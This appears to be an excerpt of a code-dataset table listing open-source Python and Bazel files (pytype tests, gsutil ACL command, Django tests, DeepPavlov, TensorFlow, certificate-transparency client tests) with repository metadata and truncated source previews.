] | 15 | 2019-07-24T16:48:20.000Z | 2020-09-30T15:40:57.000Z | import copy
import json
import os
from collections import OrderedDict
from shutil import copyfile, SameFileError
import jinja2
import nbformat
from nbconvert import HTMLExporter
from traitlets.config import Config as TraitletsConfig
from blogger_cli.converter.extractor import (
extract_and_write_static,
extra... | 34.058333 | 84 | 0.676291 |
ac103d5329bdf61e753ef04fb8752dc7e1b59fcf | 23,580 | py | Python | pytype/tests/test_pyi.py | souravbadami/pytype | 804fa97e7f9208df2711976085a96f756b3949e6 | [
"Apache-2.0"
] | 1 | 2020-04-20T02:55:21.000Z | 2020-04-20T02:55:21.000Z | pytype/tests/test_pyi.py | doc22940/pytype | 4772ad6fe89f4df75ae3d08e7374f68074175d4a | [
"Apache-2.0"
] | null | null | null | pytype/tests/test_pyi.py | doc22940/pytype | 4772ad6fe89f4df75ae3d08e7374f68074175d4a | [
"Apache-2.0"
] | null | null | null | """Tests for handling PYI code."""
from pytype import file_utils
from pytype.tests import test_base
class PYITest(test_base.TargetIndependentTest):
"""Tests for PYI."""
def testModuleParameter(self):
"""This test that types.ModuleType works."""
with file_utils.Tempdir() as d:
d.create_file("mod.py... | 27.611241 | 97 | 0.48609 |
ac106f839a5b2287002ab6a4d2362ea021d588c0 | 21,641 | py | Python | gslib/commands/acl.py | stanhu/gsutil | e8403ed5e07caed3027455c7b883fef733612360 | [
"Apache-2.0"
] | 649 | 2015-01-08T01:50:15.000Z | 2022-03-31T08:33:38.000Z | gslib/commands/acl.py | stanhu/gsutil | e8403ed5e07caed3027455c7b883fef733612360 | [
"Apache-2.0"
] | 798 | 2015-01-02T07:46:09.000Z | 2022-03-31T20:37:19.000Z | gslib/commands/acl.py | stanhu/gsutil | e8403ed5e07caed3027455c7b883fef733612360 | [
"Apache-2.0"
] | 315 | 2015-01-02T10:26:53.000Z | 2022-03-27T02:18:58.000Z | # -*- coding: utf-8 -*-
# Copyright 2011 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless require... | 39.275862 | 87 | 0.685735 |
ac10a0162eab9ab36e13ab20474b1280543ea76a | 3,737 | py | Python | tests/regressiontests/text/tests.py | jezdez-archive/django-old | 9e28c4f4e90f8dfcfbb55bb13be437afb4f870e9 | [
"BSD-3-Clause"
] | 1 | 2017-07-08T06:24:07.000Z | 2017-07-08T06:24:07.000Z | tests/regressiontests/text/tests.py | cheshire/django | d9c4eacbd95f6a02e67f669f294da2dc8967a630 | [
"BSD-3-Clause"
] | null | null | null | tests/regressiontests/text/tests.py | cheshire/django | d9c4eacbd95f6a02e67f669f294da2dc8967a630 | [
"BSD-3-Clause"
] | 1 | 2020-07-15T05:01:00.000Z | 2020-07-15T05:01:00.000Z | # coding: utf-8
from __future__ import with_statement
from django.test import TestCase
from django.utils.encoding import iri_to_uri
from django.utils.http import urlquote, urlquote_plus, cookie_date, http_date
from django.utils.text import get_text_list, smart_split
from django.utils.translation import override
clas... | 39.755319 | 92 | 0.614664 |
ac10ae7702c48b7277b9f1d358f4273f1704c498 | 3,502 | py | Python | deeppavlov/models/doc_retrieval/logit_ranker.py | ineersa/DeepPavlov | 8200bf9a0f0b378baad4ee0eb75b59453f516004 | [
"Apache-2.0"
] | null | null | null | deeppavlov/models/doc_retrieval/logit_ranker.py | ineersa/DeepPavlov | 8200bf9a0f0b378baad4ee0eb75b59453f516004 | [
"Apache-2.0"
] | null | null | null | deeppavlov/models/doc_retrieval/logit_ranker.py | ineersa/DeepPavlov | 8200bf9a0f0b378baad4ee0eb75b59453f516004 | [
"Apache-2.0"
] | 1 | 2019-03-17T13:47:44.000Z | 2019-03-17T13:47:44.000Z | # Copyright 2017 Neural Networks and Deep Learning lab, MIPT
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | 42.192771 | 116 | 0.675899 |
ac11059bca2997d70ab286da860d9da5dc5d9d74 | 16,325 | py | Python | niphlem/report/resp_report.py | CoAxLab/niphlem | a275cfe0b6286fcb8a60a2d999354453804dd5d2 | [
"BSD-3-Clause"
] | 1 | 2022-03-13T14:33:44.000Z | 2022-03-13T14:33:44.000Z | niphlem/report/resp_report.py | CoAxLab/niphlem | a275cfe0b6286fcb8a60a2d999354453804dd5d2 | [
"BSD-3-Clause"
] | 11 | 2021-12-07T03:33:13.000Z | 2022-02-28T20:41:12.000Z | niphlem/report/resp_report.py | CoAxLab/niphlem | a275cfe0b6286fcb8a60a2d999354453804dd5d2 | [
"BSD-3-Clause"
] | null | null | null | """
This file contains the code to generate the respiration report.
Many of the functionalites used here have been borrowed from Nilearn
(https://nilearn.github.io/)
"""
import matplotlib.pyplot as plt
import numpy as np
import os
import string
from html import escape
from os.path import join as opj
from scipy.signa... | 36.685393 | 92 | 0.561654 |
ac1109e7f820152f676d6b7ebb8ba881fb5afb09 | 25 | py | Python | maps/cargo/__init__.py | 56kyle/bloons_auto | 419d55b51d1cddc49099593970adf1c67985b389 | [
"MIT"
] | 3 | 2020-12-07T00:06:07.000Z | 2022-01-02T16:31:25.000Z | maps/cargo/__init__.py | 56kyle/bloons_auto | 419d55b51d1cddc49099593970adf1c67985b389 | [
"MIT"
] | 1 | 2018-11-30T02:46:30.000Z | 2018-12-01T00:32:58.000Z | maps/cargo/__init__.py | 56kyle/bloons_auto | 419d55b51d1cddc49099593970adf1c67985b389 | [
"MIT"
] | 5 | 2018-03-22T15:28:36.000Z | 2022-01-02T16:31:26.000Z | from .cargo import Cargo
| 12.5 | 24 | 0.8 |
ac11171026bc8ed7adf65bea38810968478a362f | 36,402 | py | Python | shc/interfaces/pulse.py | fabaff/smarthomeconnect | 611cd0f372d03b5fc5798a2a9a5f962d1da72799 | [
"Apache-2.0"
] | 5 | 2021-07-02T21:48:45.000Z | 2021-12-12T21:55:42.000Z | shc/interfaces/pulse.py | fabaff/smarthomeconnect | 611cd0f372d03b5fc5798a2a9a5f962d1da72799 | [
"Apache-2.0"
] | 49 | 2020-09-18T20:05:55.000Z | 2022-03-05T19:51:33.000Z | shc/interfaces/pulse.py | fabaff/smarthomeconnect | 611cd0f372d03b5fc5798a2a9a5f962d1da72799 | [
"Apache-2.0"
] | 1 | 2021-12-10T14:50:43.000Z | 2021-12-10T14:50:43.000Z | # Copyright 2021 Michael Thies <mail@mhthies.de>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agre... | 50.488211 | 120 | 0.692297 |
ac1120ae8032f8965e3017c55c8fb45e47378fa0 | 415 | py | Python | rbig_jax/transforms/mixture/__init__.py | alexhepburn/rbig_jax | 706dd60d2049071be0fb3d311c83719121854678 | [
"MIT"
] | null | null | null | rbig_jax/transforms/mixture/__init__.py | alexhepburn/rbig_jax | 706dd60d2049071be0fb3d311c83719121854678 | [
"MIT"
] | null | null | null | rbig_jax/transforms/mixture/__init__.py | alexhepburn/rbig_jax | 706dd60d2049071be0fb3d311c83719121854678 | [
"MIT"
] | null | null | null | from .gaussian import (MixtureGaussianCDF, mixture_gaussian_cdf,
mixture_gaussian_log_pdf)
from .logistic import (MixtureLogisticCDF, mixture_logistic_cdf,
mixture_logistic_log_pdf)
__all__ = [
"MixtureGaussianCDF",
"mixture_gaussian_cdf",
"mixture_gaussian_log... | 29.642857 | 64 | 0.701205 |
ac11324d7107714aac1f051cc7388136df3e2fa8 | 26,113 | py | Python | salt/utils/minions.py | skrobul/salt | ef7fb71082cce7a9783e00b9c65062fefae09263 | [
"Apache-2.0"
] | 1 | 2020-06-16T05:47:58.000Z | 2020-06-16T05:47:58.000Z | salt/utils/minions.py | skrobul/salt | ef7fb71082cce7a9783e00b9c65062fefae09263 | [
"Apache-2.0"
] | null | null | null | salt/utils/minions.py | skrobul/salt | ef7fb71082cce7a9783e00b9c65062fefae09263 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
'''
This module contains routines used to verify the matcher against the minions
expected to return
'''
# Import python libs
import os
import glob
import re
import logging
# Import salt libs
import salt.payload
import salt.utils
from salt.exceptions import CommandExecutionError
HAS_RANGE = Fa... | 38.065598 | 85 | 0.464366 |
ac1165491a54fde77fa38e7b187184d6ef183e78 | 2,384 | py | Python | astrorapid/train_on_ztf_real_data.py | kponder/astrorapid | 91053af8049724a07d1f55baf4e1f60fc36b1101 | [
"MIT"
] | 12 | 2019-01-15T19:40:11.000Z | 2020-12-17T11:36:18.000Z | astrorapid/train_on_ztf_real_data.py | kponder/astrorapid | 91053af8049724a07d1f55baf4e1f60fc36b1101 | [
"MIT"
] | 9 | 2019-07-19T15:29:19.000Z | 2022-03-12T00:59:37.000Z | astrorapid/train_on_ztf_real_data.py | kponder/astrorapid | 91053af8049724a07d1f55baf4e1f60fc36b1101 | [
"MIT"
] | 11 | 2019-02-19T20:35:08.000Z | 2021-07-16T05:56:28.000Z | import os
import astrorapid.get_training_data
import astrorapid.get_custom_data
from astrorapid.custom_classifier import create_custom_classifier
def main():
""" Train Neural Network classifier """
script_dir = os.path.dirname(os.path.abspath(__file__))
create_custom_classifier(get_data_func=astrorapid.... | 54.181818 | 146 | 0.421141 |
ac1189fe64b82e41cbc636973b4d3e6a3893723f | 110,265 | bzl | Python | third_party/go/repositories.bzl | monogon-dev/monogon | 950c26d52a08499ebf45ee2b4b0e46d3bea66dee | [
"Apache-2.0"
] | 31 | 2021-04-04T07:09:41.000Z | 2022-02-14T10:37:35.000Z | third_party/go/repositories.bzl | monogon-dev/monogon | 950c26d52a08499ebf45ee2b4b0e46d3bea66dee | [
"Apache-2.0"
] | 116 | 2021-07-05T10:55:20.000Z | 2022-03-29T12:59:30.000Z | third_party/go/repositories.bzl | monogon-dev/monogon | 950c26d52a08499ebf45ee2b4b0e46d3bea66dee | [
"Apache-2.0"
] | 2 | 2021-04-13T16:57:06.000Z | 2021-12-17T01:35:18.000Z | load("@bazel_gazelle//:deps.bzl", "go_repository")
def go_repositories():
go_repository(
name = "com_google_cloud_go",
importpath = "cloud.google.com/go",
version = "v0.51.0",
sum = "h1:PvKAVQWCtlGUSlZkGW3QLelKaWq7KYv/MW1EboG8bfM=",
build_extra_args = [
"-go_nami... | 38.486911 | 86 | 0.630508 |
ac1196424679d626511a4f5128810937d5a6030e | 78 | py | Python | py/static/Role.py | NikolaiGrieg/RTRank | 7fe6bca73c345adec895a264a30980fff7f7ec0e | [
"MIT"
] | null | null | null | py/static/Role.py | NikolaiGrieg/RTRank | 7fe6bca73c345adec895a264a30980fff7f7ec0e | [
"MIT"
] | null | null | null | py/static/Role.py | NikolaiGrieg/RTRank | 7fe6bca73c345adec895a264a30980fff7f7ec0e | [
"MIT"
] | null | null | null | from enum import Enum
class Role(Enum):
DPS = 0
HPS = 1
# tank?? | 11.142857 | 21 | 0.551282 |
ac11ad4031553918f27bef24218471004c6a75f4 | 5,984 | py | Python | venv/Lib/site-packages/tests/database_test/database_test.py | PeerHerholz/guideline_jupyter_book | ce445e4be0d53370b67708a22550565b90d71ac6 | [
"BSD-3-Clause"
] | 2 | 2021-02-16T16:17:07.000Z | 2021-11-08T20:27:13.000Z | venv/Lib/site-packages/tests/database_test/database_test.py | PeerHerholz/guideline_jupyter_book | ce445e4be0d53370b67708a22550565b90d71ac6 | [
"BSD-3-Clause"
] | null | null | null | venv/Lib/site-packages/tests/database_test/database_test.py | PeerHerholz/guideline_jupyter_book | ce445e4be0d53370b67708a22550565b90d71ac6 | [
"BSD-3-Clause"
] | 4 | 2020-11-14T17:05:36.000Z | 2020-11-16T18:44:54.000Z | # Copyright (c) 2006-2019 Andrey Golovigin
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publi... | 33.244444 | 116 | 0.715074 |
ac11be170845cc577212c8903f88c91019de0fa9 | 3,902 | py | Python | launchkey/transports/http.py | bgroveben/launchkey-python | c102d76040221059e7b87d96496edb1be3824d3b | [
"MIT"
] | 1 | 2018-12-06T04:42:35.000Z | 2018-12-06T04:42:35.000Z | launchkey/transports/http.py | bgroveben/launchkey-python | c102d76040221059e7b87d96496edb1be3824d3b | [
"MIT"
] | 1 | 2018-12-11T22:31:03.000Z | 2018-12-11T22:31:03.000Z | launchkey/transports/http.py | bgroveben/launchkey-python | c102d76040221059e7b87d96496edb1be3824d3b | [
"MIT"
] | null | null | null | from launchkey import LAUNCHKEY_PRODUCTION
from .base import APIResponse, APIErrorResponse
import requests
class RequestsTransport(object):
"""
Transport class for performing HTTP based queries using the requests library.
"""
url = LAUNCHKEY_PRODUCTION
testing = False
verify_ssl = True
d... | 39.414141 | 119 | 0.651205 |
ac11db962fa2b7084ff9444b7ef8a9cc6d733587 | 50,936 | py | Python | python/mediumlevelil.py | gkprow-runsafe/binaryninja-api | 8f9004fa3cba785ec67909e9f96498b00086a3a7 | [
"MIT"
] | null | null | null | python/mediumlevelil.py | gkprow-runsafe/binaryninja-api | 8f9004fa3cba785ec67909e9f96498b00086a3a7 | [
"MIT"
] | null | null | null | python/mediumlevelil.py | gkprow-runsafe/binaryninja-api | 8f9004fa3cba785ec67909e9f96498b00086a3a7 | [
"MIT"
] | null | null | null | # Copyright (c) 2018-2021 Vector 35 Inc
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, ... | 39.981162 | 176 | 0.741185 |
ac11de77344ad48ef24db8d29aac9966894907de | 257 | py | Python | functions/keyword_arguments.py | nv-krishna/python-crash-course | d481faeb2196712cd52ca1d34dc1fe967d13712f | [
"Apache-2.0"
] | 2 | 2020-11-02T05:52:33.000Z | 2021-06-09T01:28:22.000Z | functions/keyword_arguments.py | nv-krishna/python-crash-course | d481faeb2196712cd52ca1d34dc1fe967d13712f | [
"Apache-2.0"
] | null | null | null | functions/keyword_arguments.py | nv-krishna/python-crash-course | d481faeb2196712cd52ca1d34dc1fe967d13712f | [
"Apache-2.0"
] | 2 | 2021-04-08T05:26:04.000Z | 2021-06-09T01:28:23.000Z | def describe_pet(animal_type, pet_name):
""" Display information about a pet!"""
print(f"\n I have a {animal_type.title()}")
print(f" My {animal_type.title()}'s name is {pet_name.title()}.")
describe_pet(animal_type="cat", pet_name="garfield")
| 36.714286 | 69 | 0.684825 |
ac11ea4a821bc05fb0493c55be4ecce8884dc642 | 908 | py | Python | setup.py | steppi/indra_db_lite | 094d927570717d278624713072fa2c9acef5d884 | [
"BSD-2-Clause"
] | null | null | null | setup.py | steppi/indra_db_lite | 094d927570717d278624713072fa2c9acef5d884 | [
"BSD-2-Clause"
] | null | null | null | setup.py | steppi/indra_db_lite | 094d927570717d278624713072fa2c9acef5d884 | [
"BSD-2-Clause"
] | 1 | 2021-11-17T20:15:35.000Z | 2021-11-17T20:15:35.000Z | from os import path
from setuptools import setup, find_packages
here = path.abspath(path.dirname(__file__))
with open(path.join(here, "README.md"), encoding="utf-8") as f:
long_description = f.read()
setup(
name="indra_db_lite",
version="0.0.0",
description="Work with content from indra_db in a loc... | 29.290323 | 78 | 0.64978 |
ac12198b2e462b73238778e91c1e9b6be156182c | 1,055 | py | Python | tensorflow/contrib/proto/python/ops/encode_proto_op.py | tianyapiaozi/tensorflow | fb3ce0467766a8e91f1da0ad7ada7c24fde7a73a | [
"Apache-2.0"
] | 71 | 2017-05-25T16:02:15.000Z | 2021-06-09T16:08:08.000Z | tensorflow/contrib/proto/python/ops/encode_proto_op.py | shrikunjsarda/tensorflow | 7e8927e7af0c51ac20a63bd4eab6ff83df1a39ae | [
"Apache-2.0"
] | 133 | 2017-04-26T16:49:49.000Z | 2019-10-15T11:39:26.000Z | tensorflow/contrib/proto/python/ops/encode_proto_op.py | shrikunjsarda/tensorflow | 7e8927e7af0c51ac20a63bd4eab6ff83df1a39ae | [
"Apache-2.0"
] | 36 | 2017-07-27T21:12:40.000Z | 2022-02-03T16:45:56.000Z | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 40.576923 | 80 | 0.735545 |
ac122be7f1894a78647bc93a0f50a855abec3035 | 5,480 | py | Python | apysc/_animation/animation_skew_x.py | ynsnf/apysc | b10ffaf76ec6beb187477d0a744fca00e3efc3fb | [
"MIT"
] | null | null | null | apysc/_animation/animation_skew_x.py | ynsnf/apysc | b10ffaf76ec6beb187477d0a744fca00e3efc3fb | [
"MIT"
] | null | null | null | apysc/_animation/animation_skew_x.py | ynsnf/apysc | b10ffaf76ec6beb187477d0a744fca00e3efc3fb | [
"MIT"
] | null | null | null | """Class implementation for the skew-x animation value.
"""
from typing import Generic
from typing import TypeVar
from typing import Union
from apysc._animation.animation_base import AnimationBase
from apysc._animation.easing import Easing
from apysc._type.int import Int
from apysc._type.variable_name_inter... | 36.778523 | 78 | 0.60219 |
ac124b83599818af287ac99f916803adfece5994 | 6,590 | py | Python | lstchain/mc/mc.py | misabelber/cta-lstchain | 08fc4dccfe8a05a77fa46fb4ffb6e26f439c0a93 | [
"BSD-3-Clause"
] | null | null | null | lstchain/mc/mc.py | misabelber/cta-lstchain | 08fc4dccfe8a05a77fa46fb4ffb6e26f439c0a93 | [
"BSD-3-Clause"
] | null | null | null | lstchain/mc/mc.py | misabelber/cta-lstchain | 08fc4dccfe8a05a77fa46fb4ffb6e26f439c0a93 | [
"BSD-3-Clause"
] | null | null | null | import numpy as np
import astropy.units as u
import sys
from gammapy.modeling.models import LogParabolaSpectralModel
__all__ = [
'power_law_integrated_distribution',
'int_diff_sp',
'rate',
'weight'
]
def power_law_integrated_distribution(emin, emax, tot_num_events, spectral_index, bin_number=30):
... | 32.78607 | 180 | 0.580425 |
ac1259d2a0213437a152421e08003b735bee802d | 1,479 | py | Python | auto_forensicate/tests/stamp_tests.py | tomchop/GiftStick | 06ea6051d20626c96b9db995e600730e635eb6ca | [
"Apache-2.0"
] | null | null | null | auto_forensicate/tests/stamp_tests.py | tomchop/GiftStick | 06ea6051d20626c96b9db995e600730e635eb6ca | [
"Apache-2.0"
] | null | null | null | auto_forensicate/tests/stamp_tests.py | tomchop/GiftStick | 06ea6051d20626c96b9db995e600730e635eb6ca | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | 32.152174 | 74 | 0.749831 |
ac127b36cc005f773e9ef1bc8a0adf565c30973f | 1,741 | py | Python | src/onevision/nn/parallel/distributed.py | phlong3105/onevision | 90552b64df7213e7fbe23c80ffd8a89583289433 | [
"MIT"
] | 2 | 2022-03-28T09:46:38.000Z | 2022-03-28T14:12:32.000Z | src/onevision/nn/parallel/distributed.py | phlong3105/onevision | 90552b64df7213e7fbe23c80ffd8a89583289433 | [
"MIT"
] | null | null | null | src/onevision/nn/parallel/distributed.py | phlong3105/onevision | 90552b64df7213e7fbe23c80ffd8a89583289433 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
"""
from __future__ import annotations
import os
import platform
from typing import Union
import torch
from pytorch_lightning.plugins import DDP2Plugin
from pytorch_lightning.plugins import DDPPlugin
from torch import distributed as dist
from torch import nn
from o... | 23.527027 | 86 | 0.719701 |
ac12856fedd4ae5db135df8c7807db4d67e2cd42 | 8,008 | py | Python | tensorflow/inference/docker/build_artifacts/sagemaker/tfs_utils.py | laurenyu/deep-learning-containers | 0714377fcb075a3bce06b444787beb34cc13c9fc | [
"Apache-2.0"
] | 1 | 2020-09-05T16:08:13.000Z | 2020-09-05T16:08:13.000Z | tensorflow/inference/docker/build_artifacts/sagemaker/tfs_utils.py | laurenyu/deep-learning-containers | 0714377fcb075a3bce06b444787beb34cc13c9fc | [
"Apache-2.0"
] | null | null | null | tensorflow/inference/docker/build_artifacts/sagemaker/tfs_utils.py | laurenyu/deep-learning-containers | 0714377fcb075a3bce06b444787beb34cc13c9fc | [
"Apache-2.0"
] | 3 | 2020-09-05T16:08:15.000Z | 2021-04-09T05:50:32.000Z | # Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file acc... | 38.133333 | 95 | 0.632243 |
ac12d435a2bad16d665ef321201476937c5b7ddd | 17,985 | py | Python | kats/tests/models/test_nowcasting.py | vishalbelsare/Kats | b555e97c84662b8b92b23fd3687c72583e0e9a47 | [
"MIT"
] | null | null | null | kats/tests/models/test_nowcasting.py | vishalbelsare/Kats | b555e97c84662b8b92b23fd3687c72583e0e9a47 | [
"MIT"
] | null | null | null | kats/tests/models/test_nowcasting.py | vishalbelsare/Kats | b555e97c84662b8b92b23fd3687c72583e0e9a47 | [
"MIT"
] | null | null | null | # Copyright (c) Meta Platforms, Inc. and affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import unittest
from unittest import TestCase
from typing import List, Union
import numpy as np
import pandas as pd
from kats.models.nowcas... | 39.789823 | 146 | 0.468613 |
ac12ebb8e12ba6878ad801aaf2088c0cf332f34f | 1,369 | py | Python | test/test_key_request.py | pollination/python-sdk | 599e8dbfc6e547c5e18aa903b27c70d7ffef84e5 | [
"RSA-MD"
] | 2 | 2020-01-30T23:28:59.000Z | 2020-05-06T16:43:47.000Z | test/test_key_request.py | pollination/python-sdk | 599e8dbfc6e547c5e18aa903b27c70d7ffef84e5 | [
"RSA-MD"
] | 1 | 2020-10-02T18:00:25.000Z | 2020-10-02T18:00:25.000Z | test/test_key_request.py | pollination/python-sdk | 599e8dbfc6e547c5e18aa903b27c70d7ffef84e5 | [
"RSA-MD"
] | null | null | null | # coding: utf-8
"""
pollination-server
Pollination Server OpenAPI Definition # noqa: E501
The version of the OpenAPI document: 0.16.0
Contact: info@pollination.cloud
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import unittest
import datetime
import... | 24.890909 | 79 | 0.653762 |
ac12f0073a70829ecfe6f87ac68634ba1fb4179f | 18,973 | py | Python | pygsti/modelmembers/operations/__init__.py | maij/pyGSTi | 70e83e05fa689f53550feb3914c4fac40ca4a943 | [
"Apache-2.0"
] | 73 | 2016-01-28T05:02:05.000Z | 2022-03-30T07:46:33.000Z | pygsti/modelmembers/operations/__init__.py | 00mjk/pyGSTi | 4f8bf5337b01b7afcb7b0580b717b5d1fe281be4 | [
"Apache-2.0"
] | 113 | 2016-02-25T15:32:18.000Z | 2022-03-31T13:18:13.000Z | pygsti/modelmembers/operations/__init__.py | 00mjk/pyGSTi | 4f8bf5337b01b7afcb7b0580b717b5d1fe281be4 | [
"Apache-2.0"
] | 41 | 2016-03-15T19:32:07.000Z | 2022-02-16T10:22:05.000Z | """
Sub-package holding model operation objects.
"""
#***************************************************************************************************
# Copyright 2015, 2019 National Technology & Engineering Solutions of Sandia, LLC (NTESS).
# Under the terms of Contract DE-NA0003525 with NTESS, the U.S. Government ... | 47.790932 | 119 | 0.628261 |
ac133c12bbac58293dc8a02d1a4653f3a3a7a63a | 5,392 | py | Python | vespene/views/__init__.py | webknjaz/vespene | 32e82ce37db33a106c0c58d50762f24a7c90bc2f | [
"Apache-2.0"
] | 1 | 2018-11-07T20:14:07.000Z | 2018-11-07T20:14:07.000Z | vespene/views/__init__.py | webknjaz/vespene | 32e82ce37db33a106c0c58d50762f24a7c90bc2f | [
"Apache-2.0"
] | 2 | 2018-11-10T08:40:01.000Z | 2018-11-10T15:08:31.000Z | vespene/views/__init__.py | webknjaz/vespene | 32e82ce37db33a106c0c58d50762f24a7c90bc2f | [
"Apache-2.0"
] | null | null | null | # Copyright 2018, Michael DeHaan LLC
# License: Apache License Version 2.0 + Commons Clause
# --------------------------------------------------------------------------
# __init__.py - common code for all view subclasses and a few top level
# view routes, which we want to minimize
# ------------------------------... | 35.473684 | 125 | 0.616654 |
ac13484eb04dcffaaddaa26d08199d0a9e17e9bf | 1,895 | py | Python | cride/circles/models/circles.py | AndresCendales/cride | 150c4fc5db3964cc2cd6498d605e007f10898153 | [
"MIT"
] | null | null | null | cride/circles/models/circles.py | AndresCendales/cride | 150c4fc5db3964cc2cd6498d605e007f10898153 | [
"MIT"
] | null | null | null | cride/circles/models/circles.py | AndresCendales/cride | 150c4fc5db3964cc2cd6498d605e007f10898153 | [
"MIT"
] | null | null | null | """ Circles model """
#Django
from django.db import models
#utilities
from cride.utils.models import CRideModel
class Circle(CRideModel):
"""Circle Model
A circle is a private group where rides are offered and taken
by its members. To join a circle a user must recieve an unique
invitation co... | 22.294118 | 97 | 0.622691 |
ac138268010acede79bb16dabc90b8d6e098e1db | 9,215 | py | Python | experiments/stanford_sentiment.py | AndreasMadsen/nlp-roar-interpretability | ad30f756cd744dfb05d1b57de744c5ff60d9f20c | [
"MIT"
] | 17 | 2021-11-04T02:15:30.000Z | 2021-12-26T16:31:27.000Z | experiments/stanford_sentiment.py | AndreasMadsen/nlp-roar-interpretability | ad30f756cd744dfb05d1b57de744c5ff60d9f20c | [
"MIT"
] | null | null | null | experiments/stanford_sentiment.py | AndreasMadsen/nlp-roar-interpretability | ad30f756cd744dfb05d1b57de744c5ff60d9f20c | [
"MIT"
] | 1 | 2021-11-04T10:45:25.000Z | 2021-11-04T10:45:25.000Z | import argparse
import os.path as path
import shutil
import json
import os
import tempfile
import torch
import pytorch_lightning as pl
from pytorch_lightning.loggers import TensorBoardLogger
from pytorch_lightning.callbacks import ModelCheckpoint
from nlproar.dataset import SSTDataset, ROARDataset
from nlproar.model ... | 44.516908 | 140 | 0.586869 |
ac1385115e43554b1dd9de75a97d3d6db3038fff | 835 | py | Python | gwd_v9/get_nonloc.py | 3juholee/project_h2 | bf88c10186e1b89ea239c0bf3eda5c411207393b | [
"MIT"
] | null | null | null | gwd_v9/get_nonloc.py | 3juholee/project_h2 | bf88c10186e1b89ea239c0bf3eda5c411207393b | [
"MIT"
] | null | null | null | gwd_v9/get_nonloc.py | 3juholee/project_h2 | bf88c10186e1b89ea239c0bf3eda5c411207393b | [
"MIT"
] | null | null | null |
from scipy import *
import os
which = range(600)
ER = []
S = []
for iR in which:
if iR%10==0:
r = iR/100.
s = "%1.1f" %r
S.append(s)
s = "%1.2f" %r
S.append(s)
else:
r = iR/100.
s = "%1.2f" %r
S.append(s)
#print S
for s in S:
#if os.path.exists('954'+str(i)+'naivephya/data'):
# myfile = open('9... | 17.395833 | 60 | 0.555689 |
ac13a8311f28fc7ee860e0e75a0dad05c4a5ec58 | 9,711 | py | Python | tensorflow/contrib/bayesflow/python/kernel_tests/stochastic_tensor_test.py | gnoses/TensorFlow | 63a21e054007d86269ed1ad0145ebce04ee57a81 | [
"Apache-2.0"
] | 2 | 2020-09-14T03:11:08.000Z | 2022-02-21T19:06:44.000Z | tensorflow/contrib/bayesflow/python/kernel_tests/stochastic_tensor_test.py | amineferchichi/tensorflow | 4ac9c09d5ca57a03b8daa5fb9e295947b1619854 | [
"Apache-2.0"
] | null | null | null | tensorflow/contrib/bayesflow/python/kernel_tests/stochastic_tensor_test.py | amineferchichi/tensorflow | 4ac9c09d5ca57a03b8daa5fb9e295947b1619854 | [
"Apache-2.0"
] | 1 | 2019-05-22T08:34:09.000Z | 2019-05-22T08:34:09.000Z | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 38.232283 | 82 | 0.676037 |
ac13b70ef992f3268d9f0bef34f12fdec1d497bb | 12,776 | py | Python | python/ct/client/log_client_test.py | San3132308912/certificate-transparency | 16bbaac317c6daff057ab7214852fc8d9d89dccd | [
"Apache-2.0"
] | null | null | null | python/ct/client/log_client_test.py | San3132308912/certificate-transparency | 16bbaac317c6daff057ab7214852fc8d9d89dccd | [
"Apache-2.0"
] | null | null | null | python/ct/client/log_client_test.py | San3132308912/certificate-transparency | 16bbaac317c6daff057ab7214852fc8d9d89dccd | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
import json
import sys
import unittest
from ct.client import log_client
from ct.client import log_client_test_util as test_util
from ct.crypto import merkle
import gflags
import mock
FLAGS = gflags.FLAGS
class LogClientTest(unittest.TestCase):
class FakeHandler(test_util.FakeHandlerBase):... | 44.515679 | 80 | 0.684956 |
ac13bc9d59f2d3e5746d6317ffc9673964040966 | 637 | py | Python | model/metric.py | ys1998/motion-forecast | ef8fa9d597906a756f28952a731f6bc8d178f2bf | [
"MIT"
] | null | null | null | model/metric.py | ys1998/motion-forecast | ef8fa9d597906a756f28952a731f6bc8d178f2bf | [
"MIT"
] | null | null | null | model/metric.py | ys1998/motion-forecast | ef8fa9d597906a756f28952a731f6bc8d178f2bf | [
"MIT"
] | null | null | null | import torch
# def my_metric(output, target):
# with torch.no_grad():
# pred = torch.argmax(output, dim=1)
# assert pred.shape[0] == len(target)
# correct = 0
# correct += torch.sum(pred == target).item()
# return correct / len(target)
# def my_metric2(output, target, k=3):
# ... | 28.954545 | 63 | 0.56044 |
